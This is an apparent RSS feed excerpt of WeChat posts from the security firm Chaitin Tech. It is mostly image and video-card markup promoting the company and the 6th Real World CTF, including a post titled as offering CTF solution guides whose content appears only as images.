" data-nonceid="2493172483445672694" data-type="video" data-mediatype="undefined" data-authiconurl="https://dldir1v6.qq.com/weixin/checkresupdate/icons_filled_channels_authentication_enterprise_a2658032368245639e666fb11533a600.png" data-from="new" data-width="1920" data-height="1080" data-id="export/UzFfAgtgekIEAQAAAAAANfcJdRQpagAAAAstQy6ubaLX4KHWvLEZgBPE_KJsDgsLT62FzNPgMIuN5FuohK-I4OtD0NrqrALs" data-isdisabled="0" data-errortips=""></mp-common-videosnap></section></section><section style="font-size: 0;line-height: 0;margin: 0;opacity: 1;padding: 0;pointer-events: none;transform: scale(1);"><section style="font-size: 0 !important;line-height: 0 !important;margin: 0px !important;padding: 0 !important;text-align: center;"><svg style="display: inline-block;width: 100%;user-select: none;vertical-align: top;pointer-events: none;outline: none;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMupcW45twN824nzRZicHGKWILLLM6MB2fw7icEeib3Qwz3GKzAodX0Nh4TjLahibACP82A8OG2bCLic4FQg/640&#34;);background-attachment: scroll;background-position: top center;background-size: 100% 100%;" viewBox="0 0 1080 575" vsersion="2D1EF4LMN9584" xml=""></svg></section></section></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="1" data-name="无缝图（点击不可弹出）" data-plugin="imgnopop" data-template="%7B%22block_id%22%3A1705626088947%2C%22margin%22%3A%7B%22top%22%3A-1%2C%22bottom%22%3A-1%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22imgnopop%22%2C%22template%22%3A%7B%22name%22%3A%22%E6%97%A0%E7%BC%9D%E5%9B%BE%EF%BC%88%E7%82%B9%E5%87%BB%E4%B8%8D%E5%8F%AF%E5%BC%B9%E5%87%BA%EF%BC%89%22%2C%22id%22%3A%221%22%2C%22cate_id%22%3A%221%22%2C%22sub_cate_id%22%3A%22%2C1%2C%22%7D%2C%22custom%22%3A%7B%22superMode%22%3Afalse%2C%22img%22%3A%7B%22u%22%3A%22https%3A%2F%2Fbexp.135editor.com%2Ffiles%2Fusers%2F214%2F2149584%2F202401%2FeAhQURLe_EfmG.png%3Fauth_key%3D1705852799-0-0-5e4f45c9126b8742abe30b108d97f8bc%22%2C%22w%22%3A1080%2C%22h%22%3A1481%2C%22size%22%3A%22cover%22%2C%22sw%22%3A%22100%25%22%7D%2C%22sw%22%3A%22100%25%22%7D%7D" style="margin: -1px 0px -1px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="1" data-inner-name="135editor-imgnopop"><section style="font-size: 0 !important;line-height: 0 !important;margin: -1px 0 0 !important;padding: 0 !important;text-align: center;transform: scale(1);"><svg style="line-height: 0;display: inline-block;svg: 135;box-sizing: border-box;width: 100%;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;-o-user-select: none;user-select: none;vertical-align: top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMupcW45twN824nzRZicHGKWILLOaTibJlClQiaEZvvrhplBkGZfas1rlovEwJ6sAQG5U6CpkB1lpPnFlw/640&#34;);background-repeat: no-repeat;background-size: cover;background-position: top center;" viewBox="0 0 1080 1481" vsersion="2D1EF4LMN9584" xml=""></svg></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="76" data-name="视频号" data-plugin="channelcard" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="76" data-inner-name="135editor-channelcard"><section style="font-size: 0;line-height: 0;margin: 0;overflow: hidden;padding: 0;pointer-events: painted;transform: scale(1);"><section style="height: 0;"><section style="display: flex;flex-direction: column;opacity: 0;transform: scale(60);vertical-align: top;" class="channels_iframe_wrp"><mp-common-videosnap class="js_uneditable custom_select_card channels_iframe videosnap_video_iframe" data-pluginname="mpvideosnap" data-url="https://findermp.video.qq.com/251/20304/stodownload?encfilekey=rjD5jyTuFrIpZ2ibE8T7Ym3K77SEULgkiaW8YFGxfjtYk7V2Z2348PGK42e5mpLzO0ic8YTjV6NLGAPcHqeAmrLb9W4jsc3HZtLpwtTSJebUGDMohWbPszfibA&amp;bizid=1023&amp;dotrans=0&amp;hy=SZ&amp;idx=1&amp;m=&amp;scene=0&amp;token=x5Y29zUxcibDOQYomric7C3a31Qxn0281iaicVGO3yrlbqErGSib1J8EJfM4edaiaP1EEw7MpXA9lzFQg" data-headimgurl="http://wx.qlogo.cn/finderhead/4z6EicEGJeO1ZBwot9AOVYOzzZEU42sdQC0r955EjGNU/0" data-username="v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder" data-nickname="长亭科技" data-desc="缘起清华蓝莲花战队
攻防比赛起家，行业标杆
" data-nonceid="14949909547331990607" data-type="video" data-mediatype="undefined" data-authiconurl="https://dldir1v6.qq.com/weixin/checkresupdate/icons_filled_channels_authentication_enterprise_a2658032368245639e666fb11533a600.png" data-from="new" data-width="1920" data-height="1080" data-id="export/UzFfAgtgekIEAQAAAAAAEfsFQuQtqQAAAAstQy6ubaLX4KHWvLEZgBPE86JsDywDT62FzNPgMIsdTQ_vxF9ZDKjFrICIoSgn" data-isdisabled="0" data-errortips=""></mp-common-videosnap></section></section><section style="font-size: 0;line-height: 0;margin: 0;opacity: 1;padding: 0;pointer-events: none;transform: scale(1);"><section style="font-size: 0 !important;line-height: 0 !important;margin: 0px !important;padding: 0 !important;text-align: center;"><svg style="display: inline-block;width: 100%;user-select: none;vertical-align: top;pointer-events: none;outline: none;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMupcW45twN824nzRZicHGKWILib8342AajjouheCVWH6aria2K8wCXzpmlkDrLUJ3RCqMoGRPtAgNzR1A/640&#34;);background-attachment: scroll;background-position: top center;background-size: 100% 100%;" viewBox="0 0 1080 575" vsersion="2D1EF4LMN9584" xml=""></svg></section></section></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="1" data-name="无缝图（点击不可弹出）" data-plugin="imgnopop" data-template="%7B%22block_id%22%3A1705626136310%2C%22margin%22%3A%7B%22top%22%3A-1%2C%22bottom%22%3A-1%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22imgnopop%22%2C%22template%22%3A%7B%22name%22%3A%22%E6%97%A0%E7%BC%9D%E5%9B%BE%EF%BC%88%E7%82%B9%E5%87%BB%E4%B8%8D%E5%8F%AF%E5%BC%B9%E5%87%BA%EF%BC%89%22%2C%22id%22%3A%221%22%2C%22cate_id%22%3A%221%22%2C%22sub_cate_id%22%3A%22%2C1%2C%22%7D%2C%22custom%22%3A%7B%22superMode%22%3Afalse%2C%22img%22%3A%7B%22u%22%3A%22https%3A%2F%2Fbexp.135editor.com%2Ffiles%2Fusers%2F214%2F2149584%2F202401%2F6eJvPmsn_8N9z.png%3Fauth_key%3D1705852799-0-0-1d2045493367010b7794ba3f8b815aa4%22%2C%22w%22%3A1080%2C%22h%22%3A1559%2C%22size%22%3A%22cover%22%2C%22sw%22%3A%22100%25%22%7D%2C%22sw%22%3A%22100%25%22%7D%7D" style="margin: -1px 0px -1px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="1" data-inner-name="135editor-imgnopop"><section style="font-size: 0 !important;line-height: 0 !important;margin: -1px 0 0 !important;padding: 0 !important;text-align: center;transform: scale(1);"><svg style="line-height: 0;display: inline-block;svg: 135;box-sizing: border-box;width: 100%;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;-o-user-select: none;user-select: none;vertical-align: top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMupcW45twN824nzRZicHGKWILHicpbHT5Hnz79BrVH3ofg7GlvBqYQIFib3hsQOVrkI9V31JQOUU6gSoA/640&#34;);background-repeat: no-repeat;background-size: cover;background-position: top center;" viewBox="0 0 1080 1559" vsersion="2D1EF4LMN9584" xml=""></svg></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="76" data-name="视频号" data-plugin="channelcard" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="76" data-inner-name="135editor-channelcard"><section style="font-size: 0;line-height: 0;margin: 0;overflow: hidden;padding: 0;pointer-events: painted;transform: scale(1);"><section style="height: 0;"><section style="display: flex;flex-direction: column;opacity: 0;transform: scale(60);vertical-align: top;" class="channels_iframe_wrp"><mp-common-videosnap class="js_uneditable custom_select_card channels_iframe videosnap_video_iframe" data-pluginname="mpvideosnap" data-url="https://findermp.video.qq.com/251/20304/stodownload?encfilekey=rjD5jyTuFrIpZ2ibE8T7Ym3K77SEULgkiaOrggXRTg4dRfYpPqKSEoR3MDuBOTUSwAcsoalNRlqak9TjGALGxGtw7rew2tLq5tibQiaa9b6WicEmFEdUpUEKKSw&amp;bizid=1023&amp;dotrans=0&amp;hy=SZ&amp;idx=1&amp;m=&amp;scene=0&amp;token=AxricY7RBHdV8nbyCq79ibAticfiazqaic0gfWKDmEb84S9Nic7v6uKmMGWQCUL2iaf0icWocgR6NwD2B4A" data-headimgurl="http://wx.qlogo.cn/finderhead/4z6EicEGJeO1ZBwot9AOVYOzzZEU42sdQC0r955EjGNU/0" data-username="v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder" data-nickname="长亭科技" data-desc="为企业级客户网络安全服务保驾护航
专一、专注、专业
" data-nonceid="14897602696451126738" data-type="video" data-mediatype="undefined" data-authiconurl="https://dldir1v6.qq.com/weixin/checkresupdate/icons_filled_channels_authentication_enterprise_a2658032368245639e666fb11533a600.png" data-from="new" data-width="1920" data-height="1080" data-id="export/UzFfAgtgekIEAQAAAAAAakYxoDdzwgAAAAstQy6ubaLX4KHWvLEZgBPE7KIgCHwYT62FzNPgMItiADw3SG6e9YmEU7gISTL7" data-isdisabled="0" data-errortips=""></mp-common-videosnap></section></section><section style="font-size: 0;line-height: 0;margin: 0;opacity: 1;padding: 0;pointer-events: none;transform: scale(1);"><section style="font-size: 0 !important;line-height: 0 !important;margin: 0px !important;padding: 0 !important;text-align: center;"><svg style="display: inline-block;width: 100%;user-select: none;vertical-align: top;pointer-events: none;outline: none;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMupcW45twN824nzRZicHGKWILdOa0VuicSyibjZYtaibIC1K9mu8xjMuvgKNDpOtS7ibno7DmEK1c0UHTxA/640&#34;);background-attachment: scroll;background-position: top center;background-size: 100% 100%;" viewBox="0 0 1080 575" vsersion="2D1EF4LMN9584" xml=""></svg></section></section></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="1" data-name="无缝图（点击不可弹出）" data-plugin="imgnopop" data-template="%7B%22block_id%22%3A1705626302620%2C%22margin%22%3A%7B%22top%22%3A-1%2C%22bottom%22%3A-1%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22imgnopop%22%2C%22template%22%3A%7B%22name%22%3A%22%E6%97%A0%E7%BC%9D%E5%9B%BE%EF%BC%88%E7%82%B9%E5%87%BB%E4%B8%8D%E5%8F%AF%E5%BC%B9%E5%87%BA%EF%BC%89%22%2C%22id%22%3A%221%22%2C%22cate_id%22%3A%221%22%2C%22sub_cate_id%22%3A%22%2C1%2C%22%7D%2C%22custom%22%3A%7B%22superMode%22%3Afalse%2C%22img%22%3A%7B%22u%22%3A%22https%3A%2F%2Fbexp.135editor.com%2Ffiles%2Fusers%2F214%2F2149584%2F202401%2FwwePJ5Ms_QTbt.png%3Fauth_key%3D1705852799-0-0-acb4fc7ec2f657af2b5c5380b01666f5%22%2C%22w%22%3A1080%2C%22h%22%3A1417%2C%22size%22%3A%22cover%22%2C%22sw%22%3A%22100%25%22%7D%2C%22sw%22%3A%22100%25%22%7D%7D" style="margin: -1px 0px -1px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="1" data-inner-name="135editor-imgnopop"><section style="font-size: 0 !important;line-height: 0 !important;margin: -1px 0 0 !important;padding: 0 !important;text-align: center;transform: scale(1);"><svg style="line-height: 0;display: inline-block;svg: 135;box-sizing: border-box;width: 100%;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;-o-user-select: none;user-select: none;vertical-align: top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMupcW45twN824nzRZicHGKWIL5BJGT6c5RkwDffDiakeAGBuGezw2icTTssU4YDvqtZaGI9a7g5agr0qg/640&#34;);background-repeat: no-repeat;background-size: cover;background-position: top center;" viewBox="0 0 1080 1417" vsersion="2D1EF4LMN9584" xml=""></svg></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="76" data-name="视频号" data-plugin="channelcard" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="76" data-inner-name="135editor-channelcard"><section style="font-size: 0;line-height: 0;margin: 0;overflow: hidden;padding: 0;pointer-events: painted;transform: scale(1);"><section style="height: 0;"><section style="display: flex;flex-direction: column;opacity: 0;transform: scale(60);vertical-align: top;" class="channels_iframe_wrp"><mp-common-videosnap class="js_uneditable custom_select_card channels_iframe videosnap_video_iframe" data-pluginname="mpvideosnap" data-url="https://findermp.video.qq.com/251/20304/stodownload?encfilekey=rjD5jyTuFrIpZ2ibE8T7Ym3K77SEULgkia4xvxR0rlchRmbLNrzJumYHY4rtzpSibsDFvOn0Qh7h95OwkpcR9oQiaQIRewkicZpINcHu9FbK4DPPQnDwfU6JZNA&amp;bizid=1023&amp;dotrans=0&amp;hy=SZ&amp;idx=1&amp;m=&amp;scene=0&amp;token=x5Y29zUxcibDOQYomric7C3a31Qxn0281iaBfOL1y83ibKMZ9z6hvcdUiamItcicibu0AeWnDrtnD75Xvs" data-headimgurl="http://wx.qlogo.cn/finderhead/4z6EicEGJeO1ZBwot9AOVYOzzZEU42sdQC0r955EjGNU/0" data-username="v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder" data-nickname="长亭科技" data-desc="实战攻防，名列前茅
面向未来，无限可能
" data-nonceid="12027662353223872289" data-type="video" data-mediatype="undefined" data-authiconurl="https://dldir1v6.qq.com/weixin/checkresupdate/icons_filled_channels_authentication_enterprise_a2658032368245639e666fb11533a600.png" data-from="new" data-width="1920" data-height="1080" data-id="export/UzFfAgtgekIEAQAAAAAAtGMxF05CTAAAAAstQy6ubaLX4KHWvLEZgBPE46IwSEkUT62FzNPgMIsBEcXxC1SJgxdtPzwalX_s" data-isdisabled="0" data-errortips=""></mp-common-videosnap></section></section><section style="font-size: 0;line-height: 0;margin: 0;opacity: 1;padding: 0;pointer-events: none;transform: scale(1);"><section style="font-size: 0 !important;line-height: 0 !important;margin: 0px !important;padding: 0 !important;text-align: center;"><svg style="display: inline-block;width: 100%;user-select: none;vertical-align: top;pointer-events: none;outline: none;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMupcW45twN824nzRZicHGKWILmKsZuDHm75jVxKBSmlriaia0C0zpS2hvK7C8gVIYrmYBibpHYCVHzIvqw/640&#34;);background-attachment: scroll;background-position: top center;background-size: 100% 100%;" viewBox="0 0 1080 575" vsersion="2D1EF4LMN9584" xml=""></svg></section></section></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="1" data-name="无缝图（点击不可弹出）" data-plugin="imgnopop" data-template="%7B%22block_id%22%3A1705626314245%2C%22margin%22%3A%7B%22top%22%3A-1%2C%22bottom%22%3A-1%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22imgnopop%22%2C%22template%22%3A%7B%22name%22%3A%22%E6%97%A0%E7%BC%9D%E5%9B%BE%EF%BC%88%E7%82%B9%E5%87%BB%E4%B8%8D%E5%8F%AF%E5%BC%B9%E5%87%BA%EF%BC%89%22%2C%22id%22%3A%221%22%2C%22cate_id%22%3A%221%22%2C%22sub_cate_id%22%3A%22%2C1%2C%22%7D%2C%22custom%22%3A%7B%22superMode%22%3Afalse%2C%22img%22%3A%7B%22u%22%3A%22https%3A%2F%2Fbexp.135editor.com%2Ffiles%2Fusers%2F214%2F2149584%2F202401%2F8vdBRXjp_F4HE.png%3Fauth_key%3D1705852799-0-0-54ea1220ec3ea7b4cf09fa11779a463e%22%2C%22w%22%3A1080%2C%22h%22%3A1772%2C%22size%22%3A%22cover%22%2C%22sw%22%3A%22100%25%22%7D%2C%22sw%22%3A%22100%25%22%7D%7D" style="margin: -1px 0px -1px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="1" data-inner-name="135editor-imgnopop"><section style="font-size: 0 !important;line-height: 0 !important;margin: -1px 0 0 !important;padding: 0 !important;text-align: center;transform: scale(1);"><svg style="line-height: 0;display: inline-block;svg: 135;box-sizing: border-box;width: 100%;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;-o-user-select: none;user-select: none;vertical-align: top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMupcW45twN824nzRZicHGKWILiaFRsZANpW1ncfWkoI07lQrfic3ibLWO7SevTJ9LJ2Gg8yja0nwdgbgcw/640&#34;);background-repeat: no-repeat;background-size: cover;background-position: top center;" viewBox="0 0 1080 1772" vsersion="2D1EF4LMN9584" xml=""></svg></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="1" data-name="无缝图（点击不可弹出）" data-plugin="imgnopop" data-template="%7B%22block_id%22%3A1705625883630%2C%22margin%22%3A%7B%22top%22%3A-1%2C%22bottom%22%3A-1%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22imgnopop%22%2C%22template%22%3A%7B%22name%22%3A%22%E6%97%A0%E7%BC%9D%E5%9B%BE%EF%BC%88%E7%82%B9%E5%87%BB%E4%B8%8D%E5%8F%AF%E5%BC%B9%E5%87%BA%EF%BC%89%22%2C%22id%22%3A%221%22%2C%22cate_id%22%3A%221%22%2C%22sub_cate_id%22%3A%22%2C1%2C%22%7D%2C%22custom%22%3A%7B%22superMode%22%3Afalse%2C%22img%22%3A%7B%22u%22%3A%22https%3A%2F%2Fbexp.135editor.com%2Ffiles%2Fusers%2F214%2F2149584%2F202401%2FfRuywIHO_GkOn.png%3Fauth_key%3D1705852799-0-0-c6719b8249d1516462988a72f6502f50%22%2C%22w%22%3A1080%2C%22h%22%3A3080%2C%22size%22%3A%22cover%22%2C%22sw%22%3A%22100%25%22%7D%2C%22sw%22%3A%22100%25%22%7D%7D" style="margin: -1px 0px -1px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="1" data-inner-name="135editor-imgnopop"><section style="font-size: 0 !important;line-height: 0 !important;margin: -1px 0 0 !important;padding: 0 !important;text-align: center;transform: scale(1);"><svg style="line-height: 0;display: inline-block;svg: 135;box-sizing: border-box;width: 100%;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;-o-user-select: none;user-select: none;vertical-align: top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMupcW45twN824nzRZicHGKWILLXlXhjTAI4pfqBAFxLQDWbbzMxvNiaYxxrDWCHTicu5PbAsUCOxyDZgg/640&#34;);background-repeat: no-repeat;background-size: cover;background-position: top center;" viewBox="0 0 1080 3079" vsersion="2D1EF4LMN9584" xml=""></svg></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="221" data-name="带背景视频号预约直播卡片" data-plugin="livechannelcardwithbg" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="221" data-inner-name="135editor-livechannelcardwithbg"><section style="font-size: 0;line-height: 0;margin: 0;overflow: hidden;padding: 0;pointer-events: painted;transform: scale(1);"><section style="background-color: #000000;padding: 15px 15px 15px 15px;" class="channels_iframe_wrp"><mp-common-videosnap class="js_uneditable custom_select_card channels_live_iframe" data-pluginname="mpvideosnap" data-headimgurl="https://wx.qlogo.cn/finderhead/4z6EicEGJeO1ZBwot9AOVYOzzZEU42sdQC0r955EjGNU/0" data-username="v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder" data-nickname="长亭科技" data-desc="将在01月26日 18:00 直播" data-livewording="预约" data-intro="第6届Real World CTF开赛之夜&lt;br&gt;" data-type="live" data-status="0" data-noticeid="finderlivenotice-v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder-1705046283077915-1599994830" data-isdisabled="0" data-errortips=""></mp-common-videosnap></section></section></section></section></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://mp.weixin.qq.com/s/PuRzyI2IWPWyus5_MpQBJw#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6c0775d6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247501430%26idx%3D1%26sn%3D782199f834c174971e489572b63dc02e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 22 Jan 2024 14:35:00 +0800</pubDate>
    </item>
    <item>
      <title>干货｜print(&#34;Real World CTF解题攻略限时特供&#34;)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247501426&amp;idx=1&amp;sn=03e70f6b691aba8f398e178e17a36a56</link>
      <description>见者有缘～</description>
      <content:encoded><![CDATA[<p>
<span>长亭科技</span> <span>2024-01-15 11:11</span> <span style="display: inline-block;">北京</span>
</p>

<p>见者有缘～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1a9989a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FtzAD45OOV0ZtszoHibq4O2GGxCZT8xtzpIkGG0IDdxSXXrag6z67r6qoyLlkanicvEmDjQbPBhjzNjEwYCoe18Qw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io"><br/></p><section style="height: 0;opacity: 0;margin: 0;">·</section><section style="background-position: center top;background-repeat: repeat;background-size: 100%;margin: 0px !important;padding: 0px !important;" data-copyright="135编辑器"><section style=""><section data-copyright="135编辑器" data-id="1" data-name="无缝图（点击不可弹出）" data-plugin="imgnopop" data-template="%7B%22block_id%22%3A1705054255183%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22imgnopop%22%2C%22template%22%3A%7B%22name%22%3A%22%E6%97%A0%E7%BC%9D%E5%9B%BE%EF%BC%88%E7%82%B9%E5%87%BB%E4%B8%8D%E5%8F%AF%E5%BC%B9%E5%87%BA%EF%BC%89%22%2C%22id%22%3A%221%22%2C%22cate_id%22%3A%221%22%2C%22sub_cate_id%22%3A%22%2C1%2C%22%7D%2C%22custom%22%3A%7B%22superMode%22%3Afalse%2C%22img%22%3A%7B%22u%22%3A%22https%3A%2F%2Fbexp.135editor.com%2Ffiles%2Fusers%2F214%2F2149584%2F202401%2FBtkqzMvF_73sJ.jpg%3Fauth_key%3D1705247999-0-0-20b8186ade2d01b7e70cbb42161f2ae0%22%2C%22w%22%3A1080%2C%22h%22%3A1631%2C%22size%22%3A%22cover%22%2C%22sw%22%3A%22100%25%22%7D%2C%22sw%22%3A%22100%25%22%7D%7D" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="1" data-inner-name="135editor-imgnopop"><section style="font-size: 0 !important;line-height: 0 !important;margin: -1px 0 0 !important;padding: 0 !important;text-align: center;transform: scale(1);"><svg style="line-height: 0;display: inline-block;svg: 135;box-sizing: border-box;width: 100%;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;-o-user-select: none;user-select: none;vertical-align: top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoG7yEOriaj6rXrZrowmmSTyuZtAqs8Ns1Khd76BoibIX2gKNF5FmyqztEg/640&#34;);background-repeat: no-repeat;background-size: cover;background-position: top center;" viewBox="0 0 1080 1630" vsersion="2N1JK4GHI9584" xml=""></svg></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="57" data-name="点击直接展开-自定义触发" data-plugin="spread" data-template="%7B%22block_id%22%3A1705054230729%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22spread%22%2C%22template%22%3A%7B%22name%22%3A%22%E7%82%B9%E5%87%BB%E7%9B%B4%E6%8E%A5%E5%B1%95%E5%BC%80-%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A7%A6%E5%8F%91%22%2C%22id%22%3A%2257%22%2C%22cate_id%22%3A%222%22%2C%22sub_cate_id%22%3A%22%2C2%2C11%2C%22%7D%7D" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="57" data-inner-name="135editor-spread"><section style="margin: 0px;padding: 0px;line-height: 0;font-size: 0;transform: scale(1);overflow: hidden;"><section style="height: 0;line-height: 0;transform: rotateZ(0);isolation: isolate;"><svg style="display: inline-block;width: 100%;user-select: none;vertical-align: top;pointer-events: none;outline: none;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoGuZ6vl4ZQHHkILD0ms2GMnhqOZ6x1XznuCe0ia6BpMFaQH0732hV2ZWA/640&#34;);background-attachment: scroll;background-position: top center;background-size: 100% 100%;" viewBox="0 0 1080 1655" vsersion="2N1JK4GHI9584" xml=""></svg><section style="height: 0;opacity: 0;margin: 0;">·</section><section style="background-position: center top;background-repeat: repeat;background-size: 100% auto;margin: 0 !important;padding: 0 !important;" data-copyright="135编辑器"><section style=""><section data-copyright="135编辑器" data-id="1" data-name="无缝图（点击不可弹出）" data-plugin="imgnopop" data-template="%7B%22block_id%22%3A1705054383360%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22imgnopop%22%2C%22template%22%3A%7B%22name%22%3A%22%E6%97%A0%E7%BC%9D%E5%9B%BE%EF%BC%88%E7%82%B9%E5%87%BB%E4%B8%8D%E5%8F%AF%E5%BC%B9%E5%87%BA%EF%BC%89%22%2C%22id%22%3A%221%22%2C%22cate_id%22%3A%221%22%2C%22sub_cate_id%22%3A%22%2C1%2C%22%7D%7D" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="1" data-inner-name="135editor-imgnopop"><section style="font-size: 0 !important;line-height: 0 !important;margin: -1px 0 0 !important;padding: 0 !important;text-align: center;transform: scale(1);"><svg style="line-height: 0;display: inline-block;svg: 135;box-sizing: border-box;width: 100%;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;-o-user-select: none;user-select: none;vertical-align: top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoGf9nVEhRgPtrsoN0w5QTE2XunMsiaDNCkdCJvjc3e9BlxnGop06KfZbQ/640&#34;);background-repeat: no-repeat;background-size: cover;background-position: top center;" viewBox="0 0 1080 3139" vsersion="2N1JK4GHI9584" xml=""></svg></section></section></section></section></section></section><svg space="default" style="background-position: 0% 0%;background-repeat: no-repeat;background-size: 100% 100%;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuqjC7CDIQYWwEEhkU0shpoGuZ6vl4ZQHHkILD0ms2GMnhqOZ6x1XznuCe0ia6BpMFaQH0732hV2ZWA/640&#34;);box-sizing: border-box;vertical-align: top;user-select: none;visibility: visible;max-width: none !important;display: block;transform: rotateZ(0deg) scale(1);-webkit-transform: rotateZ(0deg) scale(1);-moz-transform: rotateZ(0deg) scale(1);-ms-transform: rotateZ(0deg) scale(1);-o-transform: rotateZ(0deg) scale(1);isolation: isolate;pointer-events: none;" viewBox="0 0 1080 1655" vsersion="2N1JK4GHI9584" x="0" xml="" y="0"><animate key:vsersion="2D1NO4DEF9584" attributeName="width" fill="freeze" restart="never" values="100%; 289.4311%; 289.4311%" calcMode="spline" keySplines="0.4 0 0.6 1;0.4 0 0.6 1" keyTimes="0; 0.001; 